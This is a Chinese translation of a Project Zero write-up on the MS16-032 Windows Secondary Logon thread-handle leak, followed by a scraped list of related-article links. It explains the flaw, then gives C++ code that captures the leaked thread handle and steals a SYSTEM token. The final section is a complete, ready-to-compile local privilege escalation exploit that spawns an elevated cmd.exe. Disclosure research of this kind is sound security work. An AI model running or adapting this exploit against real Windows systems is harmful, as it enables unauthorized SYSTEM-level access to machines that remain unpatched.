Windows Secondary Logon服務中的一個控制程式碼許可權洩露Bug
原文地址:
https://googleprojectzero.blogspot.jp/2016/03/exploiting-leaked-thread-handle.html
0x00 前言
原作者寫了太多的從句,token handle換來換去,一大堆三四行沒逗號的句子看得我頭暈不已,如果手滑翻譯錯了,比如把令牌誤打成控制程式碼,請不要疑惑,聯絡我。
0x01 Bug 本貌
我偶然發現了發現一個可以把在特權程式中開啟的控制程式碼洩漏到較低的特權程式的bug。Bug位於Windows Secondary Logon服務中,該漏洞可以洩漏一個具有完全訪問許可權的執行緒控制程式碼。微軟在MS16-032補丁中修復了這個bug。這篇部落格將告訴你不用傳統的記憶體損壞技術時,你將如何使用執行緒控制程式碼來獲得系統許可權。
你可以在這裡找到issue。 Secondary Logon服務存在於Windows XP+。該服務暴露了一個允許正常的程式建立一個新的、帶有不同token的程式的RPC終結點。從API的角度來看此功能是透過CreateProcessWithTokenW和CreateProcessWithLogonW 暴露出來的。他們行為非常像CreateProcessAsUser,有所不同的是,它不需SeAssignPrimaryTokenPrivilege(+AsUser),而是需要SeImpersonatePrivilege來模擬令牌。登入功能很便捷,它透過登入憑據,呼叫LsaLogonUser並使用所產生的令牌來建立程式。
這些API採取與正常的CreateProcess相同的引數(包括傳控制程式碼給stdin/stdout/stderror時也是一樣)。控制程式碼傳遞的過程允許控制檯程式的輸出和輸入重定向到其它檔案。當建立一個新的程式時,這些控制程式碼通常是透過控制程式碼繼承轉移到新的程式中。在Secondary Logon的例子中,服務不是新程式的實際父程式,所以它是手動從指定的父程式使用 DuplicateHandle API 複製控制程式碼到新程式的。程式碼如下
#!cpp
// Contains, hStdInput, hStdOutout and hStdError.
HANDLE StandardHandles[3] = {...};
// Location of standard handle in target process PEB.
PHANDLE HandleAddress = ...;
for(int i = 0; i < 3; ++i) {
if (StandardHandles[i]) {
if (StandardHandles[i] & 0x10000003) != 3 ) {
HANDLE TargetHandle;
if (!DuplicateHandle(ParentProcess, StandardHandles[i],
TargetProcess, &TargetHandle, 0, TRUE, DUPLICATE_SAME_ACCESS))
return ERROR;
if (!WriteProcessMemory(TargetProcess, &HandleAddress[i],
&TargetHandle, sizeof(TargetHandle)))
return ERROR;
}
}
}
程式碼從父程式(這是RPC的呼叫者)複製控制程式碼到目標程式。然後將複製的控制程式碼的值寫入到新程式PEB ProcessParameters結構中,這可以透過API,例如GetStdHandle提取。控制程式碼值看起來以某種方式進行了標準化:它檢查了該控制程式碼的低2位是否沒有設定(在NT架構的系統中控制程式碼值總是4的倍數),但它也檢查29位是否沒有設定。
為了效能方面的考慮,也為了開發更簡單,NT核心有一個特殊處理,允許程式使用偽控制程式碼引用當前程式或執行緒,而不用由它的PID/ TID開啟該物件並透過完整訪問許可權來獲取(雖然這樣也能成功)。開發人員通常會透過GetCurrentProcess和GetCurrentThread的API獲取到。我們可以看到下面的程式碼中展示出的特例:
#!cpp
NTSTATUS ObpReferenceProcessObjectByHandle(HANDLE SourceHandle,
EPROCESS* SourceProcess,
...,
PVOID* Object,
ACCESS_MASK* GrantedAccess) {
if ((INT_PTR)SourceHandle < 0) {
if (SourceHandle == (HANDLE)-1 ) {
*GrantedAccess = PROCESS_ALL_ACCESS;
*Object = SourceProcess;
return STATUS_SUCCESS;
} else if (SourceHandle == (HANDLE)-2) {
*GrantedAccess = THREAD_ALL_ACCESS;
*Object = KeGetCurrentThread();
return STATUS_SUCCESS;
}
return STATUS_INVALID_HANDLE;
// Get from process handle table.
}
現在我們可以理解為什麼程式碼檢查29位了。它檢查低2位是否設定了值(偽控制程式碼 -1,-2),但即使較高的位被設定了,也一樣應該被認為是有效的控制程式碼。這便是錯誤根源所在。我們可以從核心程式碼發現,如果指定了-1,那麼源程式就有完整的訪問許可權。但是,並沒有什麼用。因為源程式已經在我們的控制之下,並沒有特權。
在另一方面,如果指定-2,則對當前執行緒有完全訪問,但是該執行緒實際上是Secondary Logon服務,並且它也是用來處理RPC請求的執行緒池之一的現成。這顯然是有問題的。
唯一的問題是如何我們才可以呼叫CreateProcessWithToken/Logon API來作為一個普通使用者啟動程式?呼叫者需要具有SeImpersonatePrivilege才行,但你很容易會考慮到以普通使用者登入時,需要一個有效的使用者帳號和密碼,如果我們是一個惡意使用者這是可以的,但如果我們在用漏洞攻擊別人的話,還是不要這樣為好。仔細看了看原來有一個特殊的標誌,可以讓我們不需要提供有效的憑證,名為LOGON_NETCREDENTIALS_ONLY。當它與登入API一起用於連線網路資源時,主令牌是基於主叫方的。這使我們無需特殊許可權或需要使用者的密碼去建立程式。將其組合在一起,我們可以使用下面的程式碼捕獲一個執行緒控制程式碼:
#!cpp
HANDLE GetThreadHandle() {
PROCESS_INFORMATION procInfo = {};
STARTUPINFO startInfo = {};
startInfo.cb = sizeof(startInfo);
startInfo.hStdInput = GetCurrentThread();
startInfo.hStdOutput = GetCurrentThread();
startInfo.hStdError = GetCurrentThread();
startInfo.dwFlags = STARTF_USESTDHANDLES;
CreateProcessWithLogonW(L"test", L"test", L"test",
LOGON_NETCREDENTIALS_ONLY, nullptr, L"cmd.exe",
CREATE_SUSPENDED, nullptr, nullptr,
&startInfo, &procInfo);
HANDLE hThread = nullptr;
DuplicateHandle(procInfo.hProcess, (HANDLE)0x4,
GetCurrentProcess(), &hThread, 0, FALSE, DUPLICATE_SAME_ACCESS);
TerminateProcess(procInfo.hProcess, 1);
CloseHandle(procInfo.hProcess);
CloseHandle(procInfo.hThread);
return hThread;
}
0x02 利用
利用環節。很幸運這個控制程式碼屬於一個執行緒池執行緒,這意味著該執行緒將用來處理其他RPC請求。如果執行緒只存在於服務的一個請求中,用完就渣都不剩了的話將是一個棘手很多的利用。
你可能會認為首先要設定執行緒上下文才能利用此洩露控制程式碼。不管是處於除錯目的還是為了要讓另一個程式支援恢復執行,我們都需要用SetThreadContext。它將儲存CONTEXT的狀態,包括暫存器值,如RIP和RSP,當執行緒恢復執行時,讀取儲存的值就可以從指定位置執行。這似乎是一個好方法,但是肯定也有問題。
- 它只是改變了使用者模式執行上下文。如果執行緒是在non-alertable wait狀態時,直到一些未確定的情況滿足時,才會開始執行。
- 由於我們沒有程式控制程式碼,所以我們不能輕易地把shellcode注到記憶體中,所以我們需要ROP一下繞過DEP。
- 雖然我們可以把記憶體注入到程式中(比如透過RPC傳送一個大buffer),但是注完了我們也不知道這片東西儲存到哪兒了,特別是64位那麼大的地址空間。雖然我們可以呼叫GetThreadContext來得到一個資訊洩漏,但是還不夠。
- 如果出錯了那麼服務就崩潰了,這是我們希望避免的。
- 雖然使用SetThreadContext方法來利用成功率100%,但是十分痛苦,如果我們能夠避免ROP就更好了。所以我更想要一個合乎邏輯的漏洞,而在這個例子中的漏洞性質和服務都對我們有利。
Secondary Logon服務的全部要點是建立任意token的新程式,所以如果我們能以某種方式欺騙服務使用特權訪問令牌和繞過安全限制,我們應該能夠提升我們的特權。咋整?讓我們來看看服務實現CreateProcessWithLogon的程式碼序列。
#!cpp
RpcImpersonateClient();
Process = OpenProcess(CallingProcess);
Token = OpenThreadToken(Process)
If Token IL < MEDIUM_IL Then Error;
RpcRevertToSelf();
RpcImpersonateClient();
Token = LsaLogonUser(...);
RpcRevertToSelf();
ImpersonateLoggedOnUser(Token);
CreateProcessAsUser(Token, ...);
RevertToSelf();
這段程式碼大量使用了身份模擬,因為我們已經獲取了一個帶有THREAD_IMPERSONATE 訪問許可權的執行緒,所以我們可以設定執行緒的模擬令牌。如果我們在服務呼叫LsaLogonUser時設定了一個有許可權的模擬控制程式碼我們可以獲取一個該token的複製,並可以用它來建立任意程式。
如果我們能夠清除模擬令牌(然後它們會退回主系統控制程式碼)事情就會簡單得多。但是不幸的是IL check阻擋了我們的腳步。如果我們在錯誤的時間清除了控制程式碼OpenThreadToken將會失敗,並且IL檢查會拒絕訪問。所以我們需要從另一個地方拿到有許可權的模擬令牌。有無數種方法能做到,比如透過WebDAV與NTML協商,但是這隻會增加複雜度。能不能透過其他方法不借助其他資源來拿到token呢?
有個未文件化的nt系統呼叫NtImpersonateThread 可以幫上忙。
#!cpp
NTSTATUS NtImpersonateThread(HANDLE ThreadHandle,
HANDLE ThreadToImpersonate,
PSECURITY_QUALITY_OF_SERVICE SecurityQoS)
這個系統呼叫允許你基於另一個執行緒的狀態應用一個模擬token到一個執行緒上,如果源執行緒沒有模擬token,核心就會從關聯的程式主token建立一個。儘管沒啥用,但是這可能讓我們用同一個執行緒的控制程式碼來為目標和源建立模擬。因為這是個系統服務,所以我們需要拿到一個系統模擬token。透過下面程式碼可以實現:
#!cpp
HANDLE GetSystemToken(HANDLE hThread) {
// Suspend thread just in case.
SuspendThread(hThread);
SECURITY_QUALITY_OF_SERVICE sqos = {};
sqos.Length = sizeof(sqos);
sqos.ImpersonationLevel = SecurityImpersonation;
// Clear existing thread token.
SetThreadToken(&hThread, nullptr);
NtImpersonateThread(hThread, hThread, &sqos);
// Open a new copy of the token.
HANDLE hToken = nullptr;
OpenThreadToken(hThread, TOKEN_ALL_ACCESS, FALSE, &hToken);
ResumeThread(hThread);
return hToken;
}
萬事俱備。 我們啟動一個執行緒來迴圈給洩漏的執行緒控制程式碼設定系統模擬令牌。另一個執行緒裡面我們呼叫CreateProcessWithLogon 直到新程式有有許可權的令牌。我們能夠透過檢查主令牌來確定是否建立成功。因為預設情況下我們不能開啟令牌,一旦我們開啟了就成功了。
![p1][1]
這個簡單的方法有個問題,就是執行緒池中有一堆執行緒可用,所以我們不能確保呼叫服務並且準確的呼叫到特定的執行緒。所以我們得執行n次,來獲取到我們想要的控制程式碼。只要我們拿到所有有可能拿到的執行緒的控制程式碼,我們基本就十有八九成功了。
也許我們能透過調整執行緒優先順序來提高可靠性。但是看起來這種方式也還可以,也不太會崩潰然後建立一個帶無特權令牌的程式。在多個執行緒呼叫CreateProcessWithLogon也沒有什麼意義,因為服務有個全域性鎖防止重入。
我在文章最後粘上了利用程式碼。你需要確認下編譯環境,位數是否正確,因為RPC呼叫可能會截斷控制程式碼。因為控制程式碼值是指標,無符號數。當RPC方法轉換32位控制程式碼到64位控制程式碼時會自動填充零,因此(DWORD)-2 不等於 (DWORD64)-2 ,會產生無效控制程式碼值。
0x03 結論
希望我透過這個文章描繪出了一個有趣的在有許可權的服務中洩漏執行緒控制程式碼的攻擊方式。當然,它只在洩漏的執行緒控制程式碼用作能夠直接給予我們程式建立能力的服務,但是你也可以用這種方式建立任意檔案或其他資源。你可以透過記憶體損壞利用技術來達到這個目的,但是你不一定需要這麼做。
0x04 程式碼
#!cpp
#include <stdio.h>
#include <tchar.h>
#include <Windows.h>
#include <map>
#define MAX_PROCESSES 1000
HANDLE GetThreadHandle()
{
PROCESS_INFORMATION procInfo = {};
STARTUPINFO startInfo = {};
startInfo.cb = sizeof(startInfo);
startInfo.hStdInput = GetCurrentThread();
startInfo.hStdOutput = GetCurrentThread();
startInfo.hStdError = GetCurrentThread();
startInfo.dwFlags = STARTF_USESTDHANDLES;
if (CreateProcessWithLogonW(L"test", L"test", L"test",
LOGON_NETCREDENTIALS_ONLY,
nullptr, L"cmd.exe", CREATE_SUSPENDED,
nullptr, nullptr, &startInfo, &procInfo))
{
HANDLE hThread;
BOOL res = DuplicateHandle(procInfo.hProcess, (HANDLE)0x4,
GetCurrentProcess(), &hThread, 0, FALSE, DUPLICATE_SAME_ACCESS);
DWORD dwLastError = GetLastError();
TerminateProcess(procInfo.hProcess, 1);
CloseHandle(procInfo.hProcess);
CloseHandle(procInfo.hThread);
if (!res)
{
printf("Error duplicating handle %d\n", dwLastError);
exit(1);
}
return hThread;
}
else
{
printf("Error: %d\n", GetLastError());
exit(1);
}
}
typedef NTSTATUS __stdcall NtImpersonateThread(HANDLE ThreadHandle,
HANDLE ThreadToImpersonate,
PSECURITY_QUALITY_OF_SERVICE SecurityQualityOfService);
HANDLE GetSystemToken(HANDLE hThread)
{
SuspendThread(hThread);
NtImpersonateThread* fNtImpersonateThread =
(NtImpersonateThread*)GetProcAddress(GetModuleHandle(L"ntdll"),
"NtImpersonateThread");
SECURITY_QUALITY_OF_SERVICE sqos = {};
sqos.Length = sizeof(sqos);
sqos.ImpersonationLevel = SecurityImpersonation;
SetThreadToken(&hThread, nullptr);
NTSTATUS status = fNtImpersonateThread(hThread, hThread, &sqos);
if (status != 0)
{
ResumeThread(hThread);
printf("Error impersonating thread %08X\n", status);
exit(1);
}
HANDLE hToken;
if (!OpenThreadToken(hThread, TOKEN_DUPLICATE | TOKEN_IMPERSONATE,
FALSE, &hToken))
{
printf("Error opening thread token: %d\n", GetLastError());
ResumeThread(hThread);
exit(1);
}
ResumeThread(hThread);
return hToken;
}
struct ThreadArg
{
HANDLE hThread;
HANDLE hToken;
};
DWORD CALLBACK SetTokenThread(LPVOID lpArg)
{
ThreadArg* arg = (ThreadArg*)lpArg;
while (true)
{
if (!SetThreadToken(&arg->hThread, arg->hToken))
{
printf("Error setting token: %d\n", GetLastError());
break;
}
}
return 0;
}
int main()
{
std::map<DWORD, HANDLE> thread_handles;
printf("Gathering thread handles\n");
for (int i = 0; i < MAX_PROCESSES; ++i) {
HANDLE hThread = GetThreadHandle();
DWORD dwTid = GetThreadId(hThread);
if (!dwTid)
{
printf("Handle not a thread: %d\n", GetLastError());
exit(1);
}
if (thread_handles.find(dwTid) == thread_handles.end())
{
thread_handles[dwTid] = hThread;
}
else
{
CloseHandle(hThread);
}
}
printf("Done, got %zd handles\n", thread_handles.size());
if (thread_handles.size() > 0)
{
HANDLE hToken = GetSystemToken(thread_handles.begin()->second);
printf("System Token: %p\n", hToken);
for (const auto& pair : thread_handles)
{
ThreadArg* arg = new ThreadArg;
arg->hThread = pair.second;
DuplicateToken(hToken, SecurityImpersonation, &arg->hToken);
CreateThread(nullptr, 0, SetTokenThread, arg, 0, nullptr);
}
while (true)
{
PROCESS_INFORMATION procInfo = {};
STARTUPINFO startInfo = {};
startInfo.cb = sizeof(startInfo);
if (CreateProcessWithLogonW(L"test", L"test", L"test",
LOGON_NETCREDENTIALS_ONLY, nullptr,
L"cmd.exe", CREATE_SUSPENDED, nullptr, nullptr,
&startInfo, &procInfo))
{
HANDLE hProcessToken;
// If we can't get process token good chance it's a system process.
if (!OpenProcessToken(procInfo.hProcess, MAXIMUM_ALLOWED,
&hProcessToken))
{
printf("Couldn't open process token %d\n", GetLastError());
ResumeThread(procInfo.hThread);
break;
}
// Just to be sure let's check the process token isn't elevated.
TOKEN_ELEVATION elevation;
DWORD dwSize =0;
if (!GetTokenInformation(hProcessToken, TokenElevation,
&elevation, sizeof(elevation), &dwSize))
{
printf("Couldn't get token elevation: %d\n", GetLastError());
ResumeThread(procInfo.hThread);
break;
}
if (elevation.TokenIsElevated)
{
printf("Created elevated process\n");
break;
}
TerminateProcess(procInfo.hProcess, 1);
CloseHandle(procInfo.hProcess);
CloseHandle(procInfo.hThread);
}
}
}
return 0;
}
相關文章
- 微服務中如何設計一個許可權授權服務2020-06-24微服務
- .NET 程式許可權控制、獲得管理員許可權程式碼2016-12-01
- secondary logon服務怎麼開啟?Win10系統secondary logon服務的開啟步驟2021-12-10GoWin10
- 隱私洩露殺手鐧:Flash 許可權反射2020-08-19反射
- 在Windows低許可權下利用服務進行提權2018-09-01Windows
- 一對一原始碼,前端頁面許可權和按鈕許可權控制2024-01-27原始碼前端
- 許可權系統:許可權應用服務設計2024-11-13
- 許可權系統:許可權應用服務設計Tu2024-11-14
- 授權許可權服務設計解析2020-07-17
- 微服務架構中整合閘道器、許可權服務2017-12-10微服務架構
- [WCF許可權控制]透過擴充套件自行實現服務授權2021-09-09套件
- CRM Transaction處理中的許可權控制2018-02-28
- Elasticsearch 許可權控制2017-03-01Elasticsearch
- [BUG反饋]許可權條目中缺少兩個公開方法的許可權設定2019-05-11
- [譯]SQL Server分析服務的許可權配置2014-05-01SQLServer
- Win10系統怎麼開啟secondary logon服務2022-02-17Win10Go
- [WCF許可權控制]通過擴充套件自行實現服務授權[提供原始碼下載]2017-10-26套件原始碼
- Windows環境下提升程式的許可權2018-01-26Windows
- Linux的許可權控制2024-07-27Linux
- 詳解管理root使用者許可權的sudo服務程式2018-12-15
- Java IO Stream控制程式碼洩露分析2021-09-09Java
- 如何用 Vue 實現前端許可權控制(路由許可權 + 檢視許可權 + 請求許可權)2018-04-12Vue前端路由
- mysql中許可權控制粒度與效能的平衡2009-05-18MySql
- 基於golang的rbac許可權api管理服務(含自動生成CURD程式碼)2021-01-08GolangAPI
- 洩露Windows程式碼嫌疑人認罪2014-04-02Windows
- k8s結合jumpserver做kubectl許可權控制 使用者在多個namespaces的訪問許可權 rbac許可權控制2021-07-09K8SServernamespace訪問許可權
- Linux許可權控制2017-10-23Linux
- Appfuse:許可權控制2015-07-15APP
- 資料分析的許可權控制2019-12-29
- Solaris下控制ftp的許可權2007-02-26FTP
- 服務端指南 | 檔案許可權管理剖析2018-03-19服務端
- Windows許可權維持2020-12-28Windows
- 許可權控制庫 Casbin 在 Slim 中的應用2019-09-24
- 記一次奇怪的檔案控制程式碼洩露問題2023-12-03
- 【Git】程式碼許可權&分支管理2023-03-06Git
- 系統最小的服務最小的許可權最大的安全。2017-11-07
- [WCF許可權控制]基於Windows使用者組的授權方式[上篇]2017-10-26Windows
- Linux 系統中的超級許可權的控制2007-03-22Linux